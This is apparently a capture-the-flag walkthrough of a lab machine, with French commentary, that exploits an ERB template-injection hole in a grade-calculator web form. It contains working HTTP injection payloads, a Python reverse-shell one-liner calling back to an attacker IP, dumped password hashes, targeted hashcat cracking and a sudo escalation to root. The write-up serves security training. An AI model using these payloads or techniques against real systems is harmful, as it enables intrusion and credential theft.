Perfection
we see: WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07) at perfection:3000
let's see: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby
payload:
POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 196
Origin: http://10.10.11.253
Connection: close
Referer: http://10.10.11.253/weighted-grade
Upgrade-Insecure-Requests: 1
category1=qwer%0A<%25%3d+7*7+%25>&grade1=41&weight1=60&category2=asdf&grade2=10&weight2=20&category3=xzcv&grade3=10&weight3=10&category4=tyui&grade4=10&weight4=10&category5=ghjk&grade5=0&weight5=0
Explication : exemple d'envoi POST qui montre l'injection ERB — le champ category1 contient un saut de ligne suivi d'une expression évaluée côté serveur.
result
Your total grade is 28%<p>qwer
49: 24%</p><p>asdf: 2%</p><p>xzcv: 1%</p><p>tyui: 1%</p><p>ghjk: 0%</p>
</div>
Explication : sortie renvoyée par l'application ; on observe la partie injectée évaluée (7*7 a été calculé), confirmant la vulnérabilité SSTI.
so we can make an SSTI
test ping our machine for see if we have connection
POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 216
Origin: http://10.10.11.253
Connection: close
Referer: http://10.10.11.253/weighted-grade
Upgrade-Insecure-Requests: 1
category1=qwer%0A<%25%3d+`ping -c 4 10.10.16.17`+%25>&grade1=41&weight1=60&category2=asdf&grade2=10&weight2=20&category3=xzcv&grade3=10&weight3=10&category4=tyui&grade4=10&weight4=10&category5=ghjk&grade5=0&weight5=0
result
</form>
Your total grade is 28%<p>qwer
PING 10.10.16.17 (10.10.16.17) 56(84) bytes of data.
64 bytes from 10.10.16.17: icmp_seq=1 ttl=63 time=59.8 ms
64 bytes from 10.10.16.17: icmp_seq=2 ttl=63 time=13.9 ms
64 bytes from 10.10.16.17: icmp_seq=3 ttl=63 time=13.6 ms
64 bytes from 10.10.16.17: icmp_seq=4 ttl=63 time=13.2 ms
--- 10.10.16.17 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 13.174/25.110/59.803/20.031 ms
: 24%</p><p>asdf: 2%</p><p>xzcv: 1%</p><p>tyui: 1%</p><p>ghjk: 0%</p>
</div>
Explication : test non intrusif — l'exécution de ping confirme que le serveur peut exécuter des commandes et communiquer avec l'attaquant.
POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Origin: http://10.10.11.253
Connection: close
Referer: http://10.10.11.253/weighted-grade
Upgrade-Insecure-Requests: 1
category1=qwer%0A<%25%3d+`which python3`+%25>&grade1=41&weight1=60&category2=asdf&grade2=10&weight2=20&category3=xzcv&grade3=10&weight3=10&category4=tyui&grade4=10&weight4=10&category5=ghjk&grade5=0&weight5=0
</form>
Your total grade is 28%<p>qwer
/usr/bin/python3
: 24%</p><p>asdf: 2%</p><p>xzcv: 1%</p><p>tyui: 1%</p><p>ghjk: 0%</p>
</div>
Explication : vérification de la présence de python3 sur la cible — utile pour choisir le payload de reverse shell adapté.
our payload so:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.17",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Explication : payload Python ouvrant une socket vers l'attaquant et dupliquant les descripteurs pour obtenir un shell interactif.
POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Origin: http://10.10.11.253
Connection: close
Referer: http://10.10.11.253/weighted-grade
Upgrade-Insecure-Requests: 1
category1=qwer%0A<%25%3d+`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.17",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`+%25>&grade1=41&weight1=60&category2=asdf&grade2=10&weight2=20&category3=xzcv&grade3=10&weight3=10&category4=tyui&grade4=10&weight4=10&category5=ghjk&grade5=0&weight5=0
┌──(alesio㉿Alesio)-[~]
└─$ pwncat-cs -lp 1234
/home/alesio/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
'class': algorithms.Blowfish,
[05:48:23] Welcome to pwncat 🐈! __main__.py:164
[05:56:59] received connection from 10.10.11.253:49642 bind.py:84
[05:57:01] 0.0.0.0:1234: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
[05:57:02] 10.10.11.253:49642: registered new host w/ db manager.py:957
(local) pwncat$
Explication : pwncat (ou netcat) en écoute pour recevoir la connexion reverse ; l'outil montre l'établissement et l'upgrade du shell.
first flag user:
(remote) susan@perfection:/home/susan$ cat user.txt
0bdeeaf785c7130a064440f5e7301eac
(remote) susan@perfection:/home/susan$ ls
Migration ruby_app user.txt
(remote) susan@perfection:/home/susan$ cd Migration/
(remote) susan@perfection:/home/susan/Migration$ ls
pupilpath_credentials.db
(remote) susan@perfection:/home/susan/Migration$ cat pupilpath_credentials.db
��^�ableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
a�\
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f(remote) susan@perfection:/home/susan/Migration$
(remote) susan@perfection:/home/susan/Migration$ file pupilpath_credentials.db
pupilpath_credentials.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 6, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 6
(remote) susan@perfection:/home/susan/Migration$ sqlite3 pupilpath_credentials.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .table
users
sqlite> select * from users
...> ;
1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8
sqlite>
test to crack it:
┌──(alesio㉿Alesio)-[~/Perfection]
└─$ hashcat sus_hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 9 5950X 16-Core Processor, 6913/13891 MB (2048 MB allocatable), 32MCU
The following 8 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
1400 | SHA2-256 | Raw Hash
17400 | SHA3-256 | Raw Hash
11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian | Raw Hash
6900 | GOST R 34.11-94 | Raw Hash
17800 | Keccak-256 | Raw Hash
1470 | sha256(utf16le($pass)) | Raw Hash
20800 | sha256(md5($pass)) | Raw Hash salted and/or iterated
21400 | sha256(sha256_bin($pass)) | Raw Hash salted and/or iterated
Please specify the hash-mode with -m [hash-mode].
Started: Tue Mar 5 06:07:36 2024
Stopped: Tue Mar 5 06:07:37 2024
the tools don't identify the hash so let identify it:
┌──(alesio㉿Alesio)-[~/Perfection]
└─$ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# [email protected] #
#########################################################################
--------------------------------------------------
HASH: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
Possible Hashs:
[+] SHA-256
[+] Haval-256
Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))
--------------------------------------------------
HASH: ^C
Bye!
┌──(alesio㉿Alesio)-[~/Perfection]
└─$ hashcat -m 1400 sus_hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 9 5950X 16-Core Processor, 6913/13891 MB (2048 MB allocatable), 32MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 8 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f
Time.Started.....: Tue Mar 5 06:10:09 2024 (1 sec)
Time.Estimated...: Tue Mar 5 06:10:10 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 8921.0 kH/s (0.57ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[284d756666696e29] -> $HEX[042a0337c2a156616d6f732103]
Started: Tue Mar 5 06:09:57 2024
Stopped: Tue Mar 5 06:10:11 2024
Explication : tentative de craquage générique avec une wordlist (rockyou.txt). Ici hashcat est lancé en mode autodétection pour déterminer le bon format de hash.
┌──(alesio㉿Alesio)-[~/Perfection]
└─$ john sus_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "cryptoSafe", but the string is also recognized as "gost"
Use the "--format=gost" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "HAVAL-256-3"
Use the "--format=HAVAL-256-3" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "Panama"
Use the "--format=Panama" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "po"
Use the "--format=po" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "Raw-Keccak-256"
Use the "--format=Raw-Keccak-256" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "Raw-SHA256"
Use the "--format=Raw-SHA256" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "skein-256"
Use the "--format=skein-256" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "Snefru-256"
Use the "--format=Snefru-256" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "Stribog-256"
Use the "--format=Stribog-256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (cryptoSafe [AES-256-CBC])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-03-05 06:12) 0g/s 20785Kp/s 20785Kc/s 20785KC/s ejda..*7¡Vamos!
Session completed.
Unsuccess to bruteforce the password
Explication : john a été lancé en wordlist mais n'a pas retourné de résultat ; il faut ajuster le format ou réduire le keyspace.
let's transfert linpeas on the target machine to see
┌──(alesio㉿Alesio)-[~]
└─$ cat /usr/share/peass/linpeas/linpeas
linpeas_darwin_amd64 linpeas_darwin_arm64 linpeas_fat.sh linpeas_linux_386 linpeas_linux_amd64 linpeas_linux_arm linpeas_linux_arm64 linpeas.sh
(remote) susan@perfection:/tmp$
(local) pwncat$ upload ./Perfection/linpeas.sh
./linpeas.sh ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 847.8/847.8 kB • ? • 0:00:00
[06:20:17] uploaded 847.83KiB in 4.90 seconds upload.py:76
(local) pwncat$
(remote) susan@perfection:/tmp$ chmod 777 linpeas.sh
Explication : upload transfère linpeas.sh vers la cible ; chmod 777 rend le script exécutable pour lancer l'énumération locale.
interesting thing:
╔══════════╣ Searching installed mail applications
╔══════════╣ Mails (limit 50)
39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/mail/susan
39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/spool/mail/susan
(remote) susan@perfection:/tmp$ cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student
whe can see the password is {firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
so susan_nasus_?????????
Explication : le fichier mail indique le format de mot de passe attendu pour les comptes étudiants — utile pour générer un keyspace ciblé.
┌──(alesio㉿Alesio)-[~/Perfection] └─$ hashcat -m 1400 -a 3 sus_hash.txt susan_nasus_?d?d?d?d?d?d?d?d?d hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
- Device #1: cpu-haswell-AMD Ryzen 9 5950X 16-Core Processor, 6913/13891 MB (2048 MB allocatable), 32MCU
Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Optimizers applied:
- Zero-Byte
- Early-Skip
- Not-Salted
- Not-Iterated
- Single-Hash
- Single-Salt
- Brute-Force
- Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 8 MB
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>
Session..........: hashcat Status...........: Running Hash.Mode........: 1400 (SHA2-256) Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f Time.Started.....: Tue Mar 5 06:31:59 2024 (11 secs) Time.Estimated...: Tue Mar 5 06:33:01 2024 (51 secs) Kernel.Feature...: Pure Kernel Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 16013.2 kH/s (0.74ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new) Progress.........: 175144960/1000000000 (17.51%) Rejected.........: 0/175144960 (0.00%) Restore.Point....: 175112192/1000000000 (17.51%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: susan_nasus_157134356 -> susan_nasus_874655490
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
Session..........: hashcat Status...........: Cracked Hash.Mode........: 1400 (SHA2-256) Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f Time.Started.....: Tue Mar 5 06:31:59 2024 (20 secs) Time.Estimated...: Tue Mar 5 06:32:19 2024 (0 secs) Kernel.Feature...: Pure Kernel Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 15742.6 kH/s (0.77ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 324567040/1000000000 (32.46%) Rejected.........: 0/324567040 (0.00%) Restore.Point....: 324534272/1000000000 (32.45%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: susan_nasus_021309210 -> susan_nasus_700440610
Started: Tue Mar 5 06:31:47 2024 Stopped: Tue Mar 5 06:32:21 2024
Explication : attaque par masque (`?d` = chiffre) utilisée puisque le format est connu; `hashcat` a cracké le hash et a affiché le couple `hash:password`.
(remote) susan@perfection:/tmp$ sudo -l [sudo] password for susan: Matching Defaults entries for susan on perfection: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
User susan may run the following commands on perfection: (ALL : ALL) ALL (remote) susan@perfection:/tmp$ sudo su
Explication : `sudo -l` montre que `susan` peut exécuter n'importe quelle commande en tant que root. `sudo su` permet d'obtenir un shell root sans mot de passe supplémentaire.
root@perfection:/tmp# cd /root
root@perfection:# cat root.txt
627d3305d8fbfd12cc9f76babbe206fc
root@perfection:#
Explication : le contenu de `root.txt` confirme l'accès root et conclut la capture du flag.